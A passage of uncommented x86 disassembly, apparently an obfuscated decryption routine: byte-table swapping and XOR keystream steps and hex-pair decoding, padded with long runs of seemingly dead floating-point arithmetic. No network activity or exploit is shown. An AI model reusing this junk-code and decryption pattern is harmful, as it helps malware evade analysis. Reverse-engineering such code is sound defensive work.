mov byte [ebp - 0x32f1], dl
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + eax - 0x5c20]
mov byte [ebp - 0x32f3], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp - 0x328f]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp - 0x3290]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3279]
mov cl, byte [ebp - 0x32f3]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x32f3]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x32f2]
add ecx, eax
mov byte [ebp - 0x32f2], cl
movzx edx, byte [ebp - 0x32f1]
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x3279]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
xor edx, ecx
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x32a9]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
movzx eax, byte [ebp - 0x32f2]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp + ecx - 0x5c20]
xor edx, eax
mov byte [ebp - 0x3290], dl
mov cl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], cl
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], dl
cmp dword [ebp - 0x338c], 0
jle 0x43bab6
movsx ax, byte [ebp - 0x332e]
mov ecx, dword [ebp - 0x338c]
mov word [ebp + ecx*2 - 0x34e], ax
jmp 0x43b849
mov edx, dword [ebp - 0x35e8]
add edx, 1
mov dword [ebp - 0x35e8], edx
mov eax, dword [ebp - 0x338c]
add eax, 1
mov dword [ebp - 0x338c], eax
mov ecx, dword [ebp - 0x35e8]
add ecx, 1
mov dword [ebp - 0x35e8], ecx
mov edx, dword [ebp - 0x338c]
shl edx, 1
mov dword [ebp - 0x3a5c], edx
mov eax, dword [ebp - 0x3ab8]
add eax, dword [ebp - 0x3a5c]
movzx ecx, byte [eax]
mov dword [ebp - 0x39f4], ecx
mov dword [ebp - 0x39f0], 0x1f
mov edx, dword [ebp - 0x338c]
lea eax, [edx + edx + 1]
mov dword [ebp - 0x3ab4], eax
mov ecx, dword [ebp - 0x3ab8]
add ecx, dword [ebp - 0x3ab4]
movzx edx, byte [ecx]
mov dword [ebp - 0x39ec], edx
mov dword [ebp - 0x39c0], 0x40
mov eax, dword [ebp - 0x39f4]
sub eax, dword [ebp - 0x39f0]
mov dword [ebp - 0x39c4], eax
mov ecx, dword [ebp - 0x39ec]
sub ecx, dword [ebp - 0x39c0]
mov dword [ebp - 0x39c8], ecx
mov edx, dword [ebp - 0x39c4]
shl edx, 4
mov dword [ebp - 0x3ab0], edx
mov eax, dword [ebp - 0x39c8]
mov dword [ebp - 0x3aac], eax
mov ecx, dword [ebp - 0x3ab0]
or ecx, dword [ebp - 0x3aac]
mov dword [ebp - 0x3aa8], ecx
mov dl, byte [ebp - 0x3aa8]
mov byte [ebp - 0x32f1], dl
movzx eax, byte [ebp - 0x32a9]
mov cl, byte [ebp + eax - 0x5c20]
mov byte [ebp - 0x32f3], cl
movzx edx, byte [ebp - 0x3279]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x328f]
add ecx, eax
mov byte [ebp - 0x328f], cl
mov dl, byte [ebp - 0x3279]
add dl, 1
mov byte [ebp - 0x3279], dl
movsd xmm0, qword [0xa6ef98]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [0xa6eec0]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [0xa6ed60]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [0xa6eb28]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [0xa6e8d0]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3b38]
subsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
mulsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3b38]
addsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
mulsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
comisd xmm0, xmmword [ebp - 0x3cfc]
jbe 0x43c039
movsd xmm0, qword [ebp - 0x3d20]
mulsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3d20]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
divsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3d20]
mulsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
divsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3d20]
mulsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
addsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
mulsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3d20]
divsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
comisd xmm0, xmmword [ebp - 0x3cfc]
jbe 0x43bfbc
movsd xmm0, qword [ebp - 0x3d20]
addsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
mulsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
mulsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
divsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3b38]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
mulsd xmm0, qword [ebp - 0x3d20]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
divsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3d20]
mulsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
divsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3d20]
subsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
comisd xmm0, xmmword [ebp - 0x3d20]
jbe 0x43bf42
movsd xmm0, qword [ebp - 0x3cdc]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
addsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3b38]
addsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
mulsd xmm0, qword [ebp - 0x3d20]
movsd qword [ebp - 0x3cfc], xmm0
movsd xmm0, qword [ebp - 0x3b38]
addsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
jmp 0x43bfba
movsd xmm0, qword [ebp - 0x3cd4]
divsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3cd4]
subsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3d20]
subsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
mulsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3d20]
divsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3d20], xmm0
jmp 0x43c034
movsd xmm0, qword [ebp - 0x3d20]
addsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
mulsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
addsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
subsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3cfc]
subsd xmm0, qword [ebp - 0x3d20]
movsd qword [ebp - 0x3cfc], xmm0
jmp 0x43c0cd
movsd xmm0, qword [ebp - 0x3cd4]
mulsd xmm0, qword [ebp - 0x3b38]
movsd qword [ebp - 0x3cd4], xmm0
movsd xmm0, qword [ebp - 0x3cdc]
mulsd xmm0, qword [ebp - 0x3cfc]
movsd qword [ebp - 0x3cdc], xmm0
movsd xmm0, qword [ebp - 0x3b38]
subsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
movsd xmm0, qword [ebp - 0x3d20]
mulsd xmm0, qword [ebp - 0x3cd4]
movsd qword [ebp - 0x3d20], xmm0
movsd xmm0, qword [ebp - 0x3b38]
mulsd xmm0, qword [ebp - 0x3cdc]
movsd qword [ebp - 0x3b38], xmm0
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp - 0x32a9]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp - 0x328f]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3279]
movzx ecx, byte [ebp - 0x3290]
mov dl, byte [ebp + eax - 0x5c20]
mov byte [ebp + ecx - 0x5c20], dl
movzx eax, byte [ebp - 0x3279]
mov cl, byte [ebp - 0x32f3]
mov byte [ebp + eax - 0x5c20], cl
movzx edx, byte [ebp - 0x32f3]
movzx eax, byte [ebp + edx - 0x5c20]
movzx ecx, byte [ebp - 0x32f2]
add ecx, eax
mov byte [ebp - 0x32f2], cl
movzx edx, byte [ebp - 0x32f1]
movzx eax, byte [ebp - 0x328f]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x3279]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
xor edx, ecx
movzx eax, byte [ebp - 0x3290]
movzx ecx, byte [ebp + eax - 0x5c20]
movzx eax, byte [ebp - 0x32a9]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
movzx eax, byte [ebp - 0x32f2]
movzx eax, byte [ebp + eax - 0x5c20]
add ecx, eax
and ecx, 0xff
movzx ecx, byte [ebp + ecx - 0x5c20]
movzx eax, byte [ebp + ecx - 0x5c20]
xor edx, eax
mov byte [ebp - 0x3290], dl
mov cl, byte [ebp - 0x32f1]
mov byte [ebp - 0x32a9], cl
movsd xmm0, qword [0xa6ed80]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [0xa6ebd0]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [0xa6ea40]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [0xa6e7f0]
movsd qword [ebp - 0x3ce4], xmm0
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3b20]
mulsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3cac]
comisd xmm0, xmmword [ebp - 0x3ce4]
jbe 0x43c2ec
movsd xmm0, qword [ebp - 0x3dec]
mulsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3dec]
mulsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3dec]
movsd qword [ebp - 0x3cac], xmm0
mov dl, byte [ebp - 0x3290]
mov byte [ebp - 0x332e], dl
jmp 0x43c5b8
movsd xmm0, qword [ebp - 0x3dec]
addsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
mulsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3ce4], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
addsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3ce4], xmm0
movsd xmm0, qword [ebp - 0x3dec]
subsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3b20]
addsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3dec]
addsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
comisd xmm0, xmmword [ebp - 0x3b20]
jbe 0x43c558
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3cac]
divsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3dec]
divsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3cac]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3b20]
addsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
subsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3ce4], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
addsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3ce4], xmm0
movsd xmm0, qword [ebp - 0x3cac]
comisd xmm0, xmmword [ebp - 0x3dec]
jbe 0x43c4f6
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3dec]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3cac]
subsd xmm0, qword [ebp - 0x3dec]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3cac]
addsd xmm0, qword [ebp - 0x3dec]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3b20]
addsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3b20], xmm0
jmp 0x43c556
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3dec]
divsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3cac]
mulsd xmm0, qword [ebp - 0x3ce4]
movsd qword [ebp - 0x3cac], xmm0
movsd xmm0, qword [ebp - 0x3ce4]
divsd xmm0, qword [ebp - 0x3dec]
movsd qword [ebp - 0x3ce4], xmm0
jmp 0x43c5b8
movsd xmm0, qword [ebp - 0x3dec]
addsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3dec]
mulsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3dec]
addsd xmm0, qword [ebp - 0x3b20]
movsd qword [ebp - 0x3dec], xmm0
movsd xmm0, qword [ebp - 0x3b20]
subsd xmm0, qword [ebp - 0x3cac]
movsd qword [ebp - 0x3b20], xmm0
cmp dword [ebp - 0x338c], 0
jle 0x43c5d7
movsx ax, byte [ebp - 0x332e]
mov ecx, dword [ebp - 0x338c]
mov word [ebp + ecx*2 - 0x34e], ax
movss xmm0, dword [0xa6f21c]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [0xa6f1ac]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [0xa6f13c]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [0xa6f0b8]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [0xa6f050]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [0xa6efd0]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x35a0]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3778]
mulss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x3474]
subss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [ebp - 0x35a4]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
subss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x339c]
comiss xmm0, dword [ebp - 0x3778]
jbe 0x43cb05
movss xmm0, dword [ebp - 0x339c]
divss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x339c]
divss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x35a0]
divss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x35a0]
divss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3778]
addss xmm0, dword [ebp - 0x35a0]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x339c]
addss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x339c]
mulss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x339c]
mulss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x339c]
mulss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x3474]
subss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [ebp - 0x3474]
comiss xmm0, dword [ebp - 0x3488]
jbe 0x43c8a6
movss xmm0, dword [ebp - 0x3488]
mulss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x339c]
divss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x3474]
divss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x339c]
subss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x3488]
divss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
jmp 0x43cb00
movss xmm0, dword [ebp - 0x35a0]
subss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x339c]
mulss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x339c]
divss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x3474]
divss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3474]
mulss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x3474], xmm0
movss xmm0, dword [ebp - 0x35a0]
subss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x339c]
subss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x35a0]
subss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x339c]
addss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x3474]
comiss xmm0, dword [ebp - 0x3488]
jbe 0x43ca70
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3778]
mulss xmm0, dword [ebp - 0x35a0]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x35a0]
subss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x3778]
divss xmm0, dword [ebp - 0x35a0]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x339c]
mulss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x339c]
addss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x339c], xmm0
jmp 0x43cb00
movss xmm0, dword [ebp - 0x35a0]
divss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x3778]
divss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x339c]
subss xmm0, dword [ebp - 0x35a4]
movss dword [ebp - 0x339c], xmm0
movss xmm0, dword [ebp - 0x35a4]
divss xmm0, dword [ebp - 0x35a0]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3488]
divss xmm0, dword [ebp - 0x3474]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x3474]
mulss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x3474], xmm0
jmp 0x43cba4
movss xmm0, dword [ebp - 0x3488]
subss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
movss xmm0, dword [ebp - 0x35a4]
mulss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x35a4]
subss xmm0, dword [ebp - 0x3778]
movss dword [ebp - 0x35a4], xmm0
movss xmm0, dword [ebp - 0x3778]
subss xmm0, dword [ebp - 0x35a0]
movss dword [ebp - 0x3778], xmm0
movss xmm0, dword [ebp - 0x35a0]
mulss xmm0, dword [ebp - 0x3488]
movss dword [ebp - 0x35a0], xmm0
movss xmm0, dword [ebp - 0x3488]
addss xmm0, dword [ebp - 0x339c]
movss dword [ebp - 0x3488], xmm0
mov edx, dword [ebp - 0x338c]
add edx, 1
mov dword [ebp - 0x338c], edx
mov eax, dword [ebp - 0x35e8]
add eax, 1
mov dword [ebp - 0x35e8], eax
mov ecx, dword [ebp - 0x338c]
shl ecx, 1
mov dword [ebp - 0x3a5c], ecx
movss xmm0, dword [0xa6f344]
movss dword [ebp - 0x3e44], xmm0
movss xmm0, dword [0xa6f2ec]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [0xa6f268]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [0xa6f1a4]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [0xa6f0ec]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [0xa6f028]
movss dword [ebp - 0x352c], xmm0
movss xmm0, dword [ebp - 0x36b4]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x36b4]
mulss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x3828]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x3770]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x3828]
mulss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x3774]
addss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x36b4]
comiss xmm0, dword [ebp - 0x352c]
jbe 0x43cd70
movss xmm0, dword [ebp - 0x3828]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x3770]
mulss xmm0, dword [ebp - 0x36b4]
movss dword [ebp - 0x3770], xmm0
movss xmm0, dword [ebp - 0x36b4]
mulss xmm0, dword [ebp - 0x3828]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x3828]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x3e44]
mulss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x3e44], xmm0
movss xmm0, dword [ebp - 0x3e44]
mulss xmm0, dword [ebp - 0x3774]
movss dword [ebp - 0x3e44], xmm0
mov edx, dword [ebp - 0x3ab8]
add edx, dword [ebp - 0x3a5c]
movzx eax, byte [edx]
mov dword [ebp - 0x39f4], eax
jmp 0x43cfca
movss xmm0, dword [ebp - 0x3828]
mulss xmm0, dword [ebp - 0x3e44]
movss dword [ebp - 0x3828], xmm0
movss xmm0, dword [ebp - 0x36b4]
subss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x36b4]
divss xmm0, dword [ebp - 0x352c]
movss dword [ebp - 0x36b4], xmm0
movss xmm0, dword [ebp - 0x3774]
addss xmm0, dword [ebp - 0x36b4]
movss dword [ebp - 0x3774], xmm0
movss xmm0, dword [ebp - 0x3e44]
